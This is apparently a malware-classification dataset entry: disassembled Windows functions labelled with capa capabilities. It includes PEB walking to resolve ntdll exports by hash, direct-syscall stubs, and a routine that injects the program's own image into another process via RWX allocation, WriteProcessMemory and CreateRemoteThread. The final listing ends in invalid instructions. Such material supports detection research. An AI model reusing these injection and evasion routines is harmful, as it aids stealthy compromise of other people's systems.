joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140004c00
Capabilities:
Access peb ldr_data
Encode data using xor
Get ntdll base address
Resolve function by parsing pe exports

Disassembly:
push r15
sub rsp, 0x10
cmp dword [0x140039a20], 0
jne 0x140004e03
mov rax, qword gs:[0x60]
xor r15d, r15d
mov edx, r15d
mov rcx, qword [rax + 0x18]
mov r8, qword [rcx + 0x10]
mov rax, qword [r8 + 0x30]
test rax, rax
je 0x140004e0f
nop word [rax + rax]
mov r10, rax
movsxd rax, dword [rax + 0x3c]
mov ecx, dword [rax + r10 + 0x88]
test ecx, ecx
je 0x140004c7d
lea rdx, [r10 + rcx]
mov ecx, dword [r10 + rcx + 0xc]
mov eax, dword [rcx + r10]
or eax, 0x20202020
cmp eax, 0x6c64746e
jne 0x140004c7d
mov eax, dword [rcx + r10 + 4]
or eax, 0x20202020
cmp eax, 0x6c642e6c
je 0x140004c89
mov r8, qword [r8]
mov rax, qword [r8 + 0x30]
test rax, rax
jne 0x140004c40
test rdx, rdx
je 0x140004e0f
mov qword [rsp + 0x20], rbx
mov r11d, r15d
mov ebx, dword [rdx + 0x18]
mov qword [rsp + 0x28], rbp
mov ebp, dword [rdx + 0x24]
mov qword [rsp + 0x30], rsi
mov esi, dword [rdx + 0x1c]
mov qword [rsp + 0x38], rdi
add rsi, r10
mov edi, dword [rdx + 0x20]
mov qword [rsp + 8], r12
add rdi, r10
mov qword [rsp], r14
add rbp, r10
mov r12d, 0x775a
lea r14, [0x140039a20]
nop dword [rax]
nop dword [rax + rax]
lea eax, [rbx - 1]
mov r9d, dword [rdi + rax*4]
add r9, r10
cmp word [r9], r12w
jne 0x140004d46
mov edx, r15d
mov r8d, 0xca0b8c6e
mov rax, r9
nop dword [rax]
movzx eax, word [rax]
mov ecx, r8d
ror ecx, 8
inc edx
add ecx, eax
mov eax, edx
add rax, r9
xor r8d, ecx
cmp byte [rax], r15b
jne 0x140004d00
mov edx, r11d
lea eax, [rbx - 1]
add rdx, rdx
inc r11d
mov dword [r14 + rdx*8 + 8], r8d
movzx eax, word [rbp + rax*2]
mov eax, dword [rsi + rax*4]
mov dword [r14 + rdx*8 + 0xc], eax
mov qword [r14 + rdx*8 + 0x10], r15
cmp r11d, 0x1f4
je 0x140004d4b
add ebx, 0xffffffff
jne 0x140004ce0
mov r12, qword [rsp + 8]
lea eax, [r11 - 1]
mov rbp, qword [rsp + 0x28]
mov r8d, r15d
mov dword [0x140039a20], r11d
test eax, eax
je 0x140004df0
nop dword [rax + rax]
mov ecx, r11d
mov eax, r15d
sub ecx, r8d
cmp ecx, 1
je 0x140004de4
nop
lea ebx, [rax + 1]
mov r10d, eax
add r10, r10
mov r9d, ebx
add r9, r9
mov esi, dword [r14 + r10*8 + 0xc]
mov edi, dword [r14 + r9*8 + 0xc]
cmp esi, edi
jbe 0x140004dd6
mov eax, dword [r14 + r9*8 + 8]
mov edx, dword [r14 + r10*8 + 8]
mov rcx, qword [r14 + r10*8 + 0x10]
mov dword [r14 + r10*8 + 8], eax
mov rax, qword [r14 + r9*8 + 0x10]
mov qword [r14 + r10*8 + 0x10], rax
mov dword [r14 + r10*8 + 0xc], edi
mov dword [r14 + r9*8 + 8], edx
mov dword [r14 + r9*8 + 0xc], esi
mov qword [r14 + r9*8 + 0x10], rcx
mov r11d, dword [0x140039a20]
mov ecx, r11d
mov eax, ebx
sub ecx, r8d
dec ecx
cmp ebx, ecx
jb 0x140004d80
inc r8d
lea eax, [r11 - 1]
cmp r8d, eax
jb 0x140004d70
mov rdi, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x30]
mov rbx, qword [rsp + 0x20]
mov r14, qword [rsp]
mov eax, 1
add rsp, 0x10
pop r15
ret
xor eax, eax
add rsp, 0x10
pop r15
ret
Function at 0x140004ee0
Capabilities:
Execute syscall

Disassembly:
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
sub rsp, 0x28
mov ecx, 0x46a780d9
call fcn.140004e20
add rsp, 0x28
mov rcx, qword [rsp + 8]
mov rdx, qword [rsp + 0x10]
mov r8, qword [rsp + 0x18]
mov r9, qword [rsp + 0x20]
mov r10, rcx
syscall
ret

Function at 0x140004f20
Capabilities:
Execute syscall

Disassembly:
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
sub rsp, 0x28
mov ecx, 0xcd90cc0e
call fcn.140004e20
add rsp, 0x28
mov rcx, qword [rsp + 8]
mov rdx, qword [rsp + 0x10]
mov r8, qword [rsp + 0x18]
mov r9, qword [rsp + 0x20]
mov r10, rcx
syscall
ret

Function at 0x140004f60
Capabilities:
Execute syscall

Disassembly:
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
sub rsp, 0x28
mov ecx, 0x9900d1d
call fcn.140004e20
add rsp, 0x28
mov rcx, qword [rsp + 8]
mov rdx, qword [rsp + 0x10]
mov r8, qword [rsp + 0x18]
mov r9, qword [rsp + 0x20]
mov r10, rcx
syscall
ret

Function at 0x140006564
Capabilities:
Read file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x20
mov rbp, r8
mov r14, rdx
mov rdi, rcx
test r8, r8
jg 0x140006592
xor eax, eax
jmp 0x140006678
cmp qword [rcx + 0x68], 0
je 0x1400065a3
call fcn.140006694
jmp 0x140006678
mov rax, qword [rcx + 0x38]
mov rsi, rbp
mov rdx, qword [rax]
test rdx, rdx
je 0x1400065ba
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x1400065bc
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x1400065ee
cmp rax, rbp
mov rbx, rbp
mov rcx, r14
cmovb rbx, rax
mov r8, rbx
call fcn.140021e10
mov rax, qword [rdi + 0x50]
add r14, rbx
sub rsi, rbx
sub dword [rax], ebx
mov rcx, qword [rdi + 0x38]
movsxd rax, ebx
add qword [rcx], rax
cmp qword [rdi + 0x80], 0
je 0x140006672
mov r8, qword [rdi + 0x18]
lea rax, [rdi + 0x70]
cmp qword [r8], rax
jne 0x140006625
mov rcx, qword [rdi + 0x88]
mov rdx, qword [rdi + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rdi + 0x38]
mov qword [rax], rcx
mov rax, qword [rdi + 0x50]
mov dword [rax], edx
mov ebx, 0xfff
jmp 0x14000664e
mov r9, qword [rdi + 0x80]
mov r8, rbx
mov edx, 1
mov rcx, r14
call fcn.14000f4e0
add r14, rax
sub rsi, rax
cmp rax, rbx
jne 0x140006672
cmp rsi, rbx
ja 0x14000662c
test rsi, rsi
je 0x140006672
mov r9, qword [rdi + 0x80]
mov r8, rsi
mov edx, 1
mov rcx, r14
call fcn.14000f4e0
sub rsi, rax
sub rbp, rsi
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
Function at 0x140007f78
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140007fc2
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140007fc2
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140007fc2
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140007fc2
cmp dword [rcx + 0x84], 0xe
jbe 0x140007fc2
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140007fc4
xor al, al
add rsp, 0x28
ret

Function at 0x14000e63c
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x14000e4a7
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000e4a7
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000e4a7
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000e4a7
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000e4a7
cmp dword [rcx + 0x84], 0xe
jbe 0x14000e4a7
cmp dword [rcx + 0xf8], 0
je 0x14000e4a7
mov ecx, ebx
call fcn.14000e558
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.14000e334
nop
cmp dword [rbp + 0x20], 0
je 0x14000e4f5
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.14000e500
int3
xor r8d, r8d
xor edx, edx
jmp 0x14000e438
Function at 0x1400170f4
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
mov eax, 0x1050
call fcn.140007bf0
sub rsp, rax
mov rax, qword [0x140037040]
xor rax, rsp
mov qword [rsp + 0x1040], rax
mov r15, r8
mov rbp, rdx
mov rbx, rcx
call fcn.140015cd4
xor edi, edi
movsxd r14, eax
cmp dword [rbx + 0x10], edi
jne 0x140017143
mov rax, rbp
jmp 0x14001724b
mov rax, qword [rbx]
mov rcx, r14
sub rax, qword [rbx + 8]
and ecx, 0x3f
cqo
mov rbx, r14
sub rax, rdx
sar rbx, 6
sar rax, 1
mov r9, r15
lea r12, [rcx + rcx*8]
mov rsi, rax
lea rax, [0x140000000]
xor r8d, r8d
mov rdx, qword [rax + rbx*8 + 0x39460]
mov ecx, r14d
mov rdx, qword [rdx + r12*8 + 0x30]
call fcn.140018214
mov r13, rax
lea rax, [0x140000000]
mov rcx, qword [rax + rbx*8 + 0x39460]
cmp r13, qword [rcx + r12*8 + 0x30]
jne 0x140017247
mov rcx, qword [rcx + r12*8 + 0x28]
lea r9, [rsp + 0x30]
mov r8d, 0x1000
mov qword [rsp + 0x20], rdi
lea rdx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x140017247
mov r9, r15
xor r8d, r8d
mov rdx, rbp
mov ecx, r14d
call fcn.140018214
test rax, rax
js 0x140017247
mov eax, dword [rsp + 0x30]
cmp rsi, rax
jg 0x140017247
lea rdx, [rsp + 0x40]
add rdx, rax
lea rcx, [rsp + 0x40]
test rsi, rsi
je 0x140017239
lea r8, [0x140000000]
cmp rcx, rdx
jae 0x140017239
cmp byte [rcx], 0xd
jne 0x14001721f
lea rax, [rdx - 1]
cmp rcx, rax
jae 0x14001722e
cmp byte [rcx + 1], 0xa
jne 0x14001722e
inc rcx
jmp 0x14001722e
movzx eax, byte [rcx]
movsx rax, byte [rax + r8 + 0x37470]
add rcx, rax
inc rdi
inc rcx
cmp rdi, rsi
jne 0x140017201
lea rax, [rsp + 0x40]
sub rcx, rax
lea rax, [rcx + r13]
jmp 0x14001724b
or rax, 0xffffffffffffffff
mov rcx, qword [rsp + 0x1040]
xor rcx, rsp
call fcn.140007bc0
mov rbx, qword [rsp + 0x1090]
add rsp, 0x1050
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret

Function at 0x14001746c
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x140017482
mov al, 1
jmp 0x1400174e2
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x140017493
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x1400174e0
mov ecx, dword [rcx + 0x18]
nop
call fcn.14001c66c
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x1400174e0
mov r9d, 1
lea r8, [rsp + 0x38]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x1400174e0
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x1400174e0
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x1400174e2
xor al, al
add rsp, 0x20
pop rbx
ret
Function at 0x1400175b4
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x30
movsxd r15, ecx
lea r9, [0x140039460]
mov rax, r15
mov rbp, r15
and eax, 0x3f
sar rbp, 6
mov ecx, 4
xor esi, esi
mov r14, rdx
lea rdi, [rax + rax*8]
mov rax, qword [r9 + rbp*8]
lea r13d, [rcx + 6]
mov r10, qword [rax + rdi*8 + 0x28]
test r8, r8
je 0x14001760b
cmp word [rdx], r13w
jne 0x14001760b
or byte [rax + rdi*8 + 0x38], cl
jmp 0x140017610
and byte [rax + rdi*8 + 0x38], 0xfb
lea r8, [rdx + r8*2]
mov rbx, r14
cmp r14, r8
jae 0x140017735
mov r11d, 0xd
lea r12d, [r11 - 0xb]
movzx ecx, word [rdx]
cmp cx, 0x1a
je 0x140017756
lea r9, [rdx + 2]
cmp cx, r11w
je 0x140017649
mov rdx, r9
mov word [rbx], cx
jmp 0x140017670
cmp r9, r8
jae 0x140017680
cmp word [r9], r13w
mov rax, r12
mov ecx, 4
cmove rax, rcx
add rdx, rax
mov eax, r13d
cmp word [r9], r13w
cmovne ax, r11w
mov word [rbx], ax
mov rax, r12
add rbx, rax
cmp rdx, r8
jb 0x14001762a
jmp 0x140017735
lea r9, [rsp + 0x80]
mov qword [rsp + 0x20], rsi
mov r8d, r12d
lea rdx, [rsp + 0x70]
mov rcx, r10
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x14001772a
cmp dword [rsp + 0x80], esi
je 0x14001772a
lea r8, [0x140039460]
mov rax, qword [r8 + rbp*8]
test byte [rax + rdi*8 + 0x38], 0x48
je 0x140017702
movzx eax, word [rsp + 0x70]
cmp ax, r13w
jne 0x1400176d2
mov word [rbx], r13w
jmp 0x140017732
mov ecx, 0xd
mov word [rsp + 0x78], ax
mov word [rbx], cx
mov rax, qword [r8 + rbp*8]
lea rcx, [rax + rdi*8]
mov al, byte [rsp + rsi + 0x78]
mov byte [rcx + rsi + 0x3a], al
inc rsi
cmp rsi, r12
jl 0x1400176df
mov rax, qword [r8 + rbp*8]
mov byte [rax + rdi*8 + 0x3c], r13b
jmp 0x140017732
cmp word [rsp + 0x70], r13w
jne 0x14001770f
cmp rbx, r14
je 0x1400176cc
mov rdx, 0xfffffffffffffffe
mov ecx, r15d
lea r8d, [rdx + 3]
call fcn.14001821c
cmp word [rsp + 0x70], r13w
je 0x140017735
mov ecx, 0xd
mov word [rbx], cx
add rbx, r12
sub rbx, r14
sar rbx, 1
lea eax, [rbx + rbx]
mov rbx, qword [rsp + 0x88]
add rsp, 0x30
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
lea r8, [0x140039460]
mov rdx, qword [r8 + rbp*8]
mov al, byte [rdx + rdi*8 + 0x38]
test al, 0x40
jne 0x14001772f
or al, r12b
mov byte [rdx + rdi*8 + 0x38], al
jmp 0x140017735
Function at 0x14001bb58
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x14001bb88
xor eax, eax
jmp 0x14001bc4b
mov rbp, rbx
cmp word [rax], si
je 0x14001bbad
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x14001bb94
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x14001bb90
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.14001a2cc
movsxd r14, eax
test eax, eax
jne 0x14001bbeb
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x14001bb81
mov rcx, r14
call fcn.140018480
mov rdi, rax
test rax, rax
jne 0x14001bc04
xor ecx, ecx
call fcn.140014e68
jmp 0x14001bbe0
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.14001a2cc
test eax, eax
jne 0x14001bc35
mov rcx, rdi
call fcn.140014e68
jmp 0x14001bc3f
xor ecx, ecx
call fcn.140014e68
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret

Function at 0x14001ebc0
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov esi, edx
mov ebx, ecx
call fcn.140014aa4
mov ecx, ebx
lea r8, [rsp + 0x30]
and ecx, 0x3ff
mov r9d, 2
bts ecx, 0xa
mov edx, 0x20000001
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
xor edx, edx
test eax, eax
je 0x14001ec61
cmp ebx, dword [rsp + 0x30]
je 0x14001ec5a
test esi, esi
je 0x14001ec5a
mov r10, qword [rdi + 0x98]
mov r9d, edx
movzx r8d, word [r10]
lea rcx, [r10 + 2]
lea eax, [r8 - 0x41]
cmp ax, 0x19
jbe 0x14001ec35
sub r8w, 0x61
cmp r8w, 0x19
ja 0x14001ec42
movzx r8d, word [rcx]
inc r9d
add rcx, 2
jmp 0x14001ec1f
or rax, 0xffffffffffffffff
inc rax
cmp word [r10 + rax*2], dx
jne 0x14001ec46
cmp r9d, eax
setne dl
mov eax, edx
jmp 0x14001ec63
mov eax, 1
jmp 0x14001ec63
xor eax, eax
mov rbx, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x140020214
Capabilities:
Set environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xa0
xor r15d, r15d
mov r14, rdx
mov rsi, rcx
mov qword [rbp + 0x17], r15
xor edx, edx
mov qword [rbp + 0x1f], r15
lea rcx, [rbp - 0x39]
mov qword [rbp + 0x27], r15
mov qword [rbp + 0x2f], r15
mov edi, r15d
mov qword [rbp + 0x37], r15
mov byte [rbp + 0x3f], r15b
mov qword [rbp - 0x19], r15
mov qword [rbp - 0x11], r15
mov qword [rbp - 9], r15
mov qword [rbp - 1], r15
mov qword [rbp + 7], r15
mov byte [rbp + 0xf], r15b
call fcn.140010e38
mov rax, qword [rbp - 0x31]
mov ebx, 0xfde9
cmp dword [rax + 0xc], ebx
jne 0x14002029e
cmp byte [rbp - 0x21], r15b
je 0x140020299
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, ebx
jmp 0x1400202d4
call fcn.14001516c
test eax, eax
jne 0x1400202c0
cmp byte [rbp - 0x21], r15b
je 0x1400202b8
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, 1
jmp 0x1400202d4
cmp byte [rbp - 0x21], r15b
je 0x1400202d1
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, r15d
lea r8, [rbp + 0x77]
mov rcx, rsi
lea rdx, [rbp + 0x17]
call fcn.140010f70
test eax, eax
jne 0x140020374
xor edx, edx
lea rcx, [rbp - 0x39]
call fcn.140010e38
mov rax, qword [rbp - 0x31]
cmp dword [rax + 0xc], ebx
jne 0x140020313
cmp byte [rbp - 0x21], r15b
je 0x140020348
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
jmp 0x140020348
call fcn.14001516c
test eax, eax
jne 0x140020334
cmp byte [rbp - 0x21], r15b
je 0x14002032d
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, 1
jmp 0x140020348
cmp byte [rbp - 0x21], r15b
je 0x140020345
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, r15d
mov r9d, ebx
lea r8, [rbp + 0x77]
lea rdx, [rbp - 0x19]
mov rcx, r14
call fcn.140010f70
mov rdi, qword [rbp - 9]
test eax, eax
jne 0x140020374
mov rcx, qword [rbp + 0x27]
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov ebx, eax
jmp 0x140020377
mov ebx, r15d
cmp byte [rbp + 0xf], r15b
je 0x140020385
mov rcx, rdi
call fcn.140014e68
cmp byte [rbp + 0x3f], r15b
je 0x140020394
mov rcx, qword [rbp + 0x27]
call fcn.140014e68
lea r11, [rsp + 0xa0]
mov eax, ebx
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret

Function at 0x140021b00
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140021b28
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x140021b28
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x140001758
Capabilities:
Allocate or change rwx memory
Create thread
Inject pe
Inject thread
Spawn thread to rwx shellcode
Terminate thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x40
mov r13, rcx
mov r12, r8
xor ecx, ecx
mov r15, rdx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rdi, rax
movsxd rbx, dword [rax + 0x3c]
add rbx, rax
cmp dword [rbx], 0x4550
jne 0x140001946
mov r14d, dword [rbx + 0x50]
mov rcx, rax
mov edx, r14d
call qword [sym.imp.KERNEL32.dll_IsBadReadPtr]
test eax, eax
jne 0x140001946
lea r8, [r14 + 0x478]
mov dword [rsp + 0x20], 0x40
xor edx, edx
mov r9d, 0x3000
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rbp, rax
test rax, rax
je 0x140001946
mov r9d, 0x40
mov r8d, 0x3000
mov edx, r14d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rsi, rax
test rax, rax
je 0x140001931
mov r8d, r14d
mov rdx, rdi
mov rcx, rax
call sub.msvcrt.dll_memcpy
xor ecx, ecx
cmp dword [rbx + 0xb4], ecx
jbe 0x140001885
mov eax, dword [rbx + 0xb0]
test eax, eax
je 0x140001885
mov r10, rbp
lea rdx, [rsi + rax]
sub r10, qword [rbx + 0x30]
mov r11, rdi
sub r11, qword [rbx + 0x30]
jmp 0x140001881
cmp dword [rdx + 4], 8
jb 0x14000187b
mov eax, dword [rdx + 4]
sub rax, 8
shr rax, 1
test eax, eax
je 0x14000187b
lea r8, [rdx + 8]
mov r9d, eax
movzx eax, word [r8]
test ax, ax
je 0x140001871
and eax, 0xfff
add eax, dword [rdx]
mov ecx, eax
mov rax, r10
sub rax, r11
add qword [rcx + rsi], rax
xor ecx, ecx
add r8, 2
sub r9, 1
jne 0x140001853
mov eax, dword [rdx + 4]
add rdx, rax
cmp dword [rdx], ecx
jne 0x140001838
mov qword [rsp + 0x20], rcx
lea rax, [entry0]
sub rax, rdi
mov r9, r14
mov r8, rsi
mov rdx, rbp
mov rcx, r15
mov byte [rax + rsi], 0x55
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140001920
lea rax, [rsp + 0x88]
mov r9d, 0x478
lea rbx, [r14 + rbp]
mov qword [rsp + 0x20], rax
mov rdx, rbx
mov r8, r13
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
xor eax, eax
mov r9, rbp
mov qword [rsp + 0x30], rax
sub r9, rdi
mov dword [rsp + 0x28], eax
add r9, r12
xor r8d, r8d
mov qword [rsp + 0x20], rbx
xor edx, edx
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov rcx, rax
mov edx, 0x3a98
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_TerminateThread]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor edx, edx
mov r8d, 0x8000
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rbp
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
lea r11, [rsp + 0x40]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret

Function at 0x140001964
Capabilities:
Check if file exists
Get file attributes

Disassembly:
sub rsp, 0x28
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x14000197e
test al, 0x10
jne 0x14000197e
mov eax, 1
jmp 0x140001980
xor eax, eax
add rsp, 0x28
ret
Function at 0x140004884
Capabilities:
Delete directory

Disassembly:
push rbp
push r15
xor rax, rax
push rax
push rax
sub rsp, 0x28
call fcn.140012b50
mov r15, qword [0x140020504]
cmp r15, 1
jne 0x140004953
push qword [0x1400205f4]
pop rcx
call fcn.14000dd04
mov r15, rax
and r15, r15
jle 0x1400048e9
mov rcx, qword [0x1400205f4]
call fcn.14000dd0c
mov rcx, qword [0x1400205f4]
call fcn.14000dd20
or rax, rax
je 0x1400048e9
mov rbp, qword [0x1400205fc]
push qword [rbp + 0x10]
pop rcx
call fcn.14000e1bc
jmp 0x1400048c6
push qword [0x1400205e4]
pop rcx
call fcn.14000dd04
mov qword [rsp + 0x28], rax
mov r15, qword [rsp + 0x28]
and r15, r15
jle 0x140004953
push 5
push 0
push 1
push qword [0x1400205e4]
pop rcx
pop rdx
pop r8
pop r9
call fcn.140009060
mov rcx, qword [0x1400205e4]
call fcn.14000dd0c
mov rcx, qword [0x1400205e4]
call fcn.14000dd20
or rax, rax
je 0x140004953
mov rbp, qword [0x1400205ec]
push qword [rbp + 0x14]
pop rcx
call sub.KERNEL32.dll_RemoveDirectoryW
jmp 0x140004930
mov rax, 1
jmp 0x14000495f
add rsp, 0x38
pop r15
pop rbp
ret

Function at 0x140006b38
Capabilities:
Get thread local storage value

Disassembly:
sub rsp, 0x48
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x30], rcx
call sub.KERNEL32.dll_GetLastError
mov qword [rsp + 0x38], rax
mov rcx, qword [0x14001f180]
call sub.KERNEL32.dll_TlsGetValue
mov rcx, qword [rsp + 0x30]
mov qword [rax + 0x10], rcx
mov rcx, qword [rsp + 0x38]
call sub.KERNEL32.dll_SetLastError
mov rax, qword [rsp + 0x28]
add rsp, 0x48
ret

Function at 0x140007204
Capabilities:
Terminate thread

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rdi, rcx
call fcn.140007194
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateThread]
lea rcx, [0x140021200]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x140020630]
jmp 0x140007240
cmp qword [rbx + 0x18], rdi
je 0x140007247
mov rbx, qword [rbx]
test rbx, rbx
jne 0x140007237
jmp 0x140007261
mov rcx, qword [rbx + 0x10]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rbx + 0x10]
lea rcx, [0x140020630]
call fcn.1400123b8
lea rcx, [0x140021200]
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
cli
inc dword [rax]
fdiv st(2), st(0)
inc dword [rax]
fdiv st(2), st(0)
inc dword [rax]
fdiv st(2), st(0)
inc dword [rax]
invalid
cli
inc dword [rax]
invalid
stc
inc dword [rax]
fyl2xp1
inc dword [rax]
invalid
sbb eax, 0x1dffda02
add bl, dl
call [0x15e03d0b7]
add bl, dl
call [0x15e03d1bf]
invalid
call [0x15e03d1c3]
add bl, bl
call [rdx + rax]
invalid
call [rdx + rax]
invalid
fdiv st(7), st(0)
